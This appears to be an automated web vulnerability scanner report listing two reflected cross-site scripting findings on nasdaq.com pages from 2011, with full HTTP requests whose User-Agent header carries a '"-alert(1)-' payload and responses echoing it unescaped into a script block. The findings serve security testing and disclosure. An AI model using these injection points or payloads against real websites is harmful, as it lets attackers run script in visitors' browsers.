1. Cross-site scripting (reflected)
1.1. http://www.nasdaq.com/asp/quotesannualreportlink.asp [User-Agent HTTP header]
1.2. http://www.nasdaq.com/asp/summaryquote.asp [User-Agent HTTP header]
Severity: | Low |
Confidence: | Certain |
Host: | http://www.nasdaq.com |
Path: | /asp/quotesannualrep |
GET /asp/quotesannualrep Host: www.nasdaq.com Proxy-Connection: keep-alive Referer: http://www.nasdaq.com/ Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.1335e10"-alert(1)- Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: __unam=2815966-12e1c |
HTTP/1.1 200 OK Date: Sun, 13 Feb 2011 02:07:38 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 72678 Content-Type: text/html Cache-control: private <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR <html xmlns="http://www.w3.org <head> <script> myP ...[SNIP]... teBoxSymbolArray[0] = "NDAQ"; var quoteBoxNumSymbols = 1; var jsUserAgent = "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.1335e10"-alert(1)- </script> ...[SNIP]... |
Severity: | Low |
Confidence: | Certain |
Host: | http://www.nasdaq.com |
Path: | /asp/summaryquote.asp |
GET /asp/summaryquote.asp HTTP/1.1 Host: www.nasdaq.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)1c7a3"-alert(1)- Connection: close Cookie: s_pers=%20s_nr%3D129 |
HTTP/1.1 200 OK Connection: close Date: Sun, 13 Feb 2011 01:54:12 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 72979 Content-Type: text/html Cache-control: private <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR <html xmlns="http://www.w3.org <head> <!--***** ...[SNIP]... pe="text/javascript"> var quoteBoxSelectedSymbol= ""; var quoteBoxSymbolArray = new Array(0); var quoteBoxNumSymbols = 0; var jsUserAgent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)1c7a3"-alert(1)- </script> ...[SNIP]... |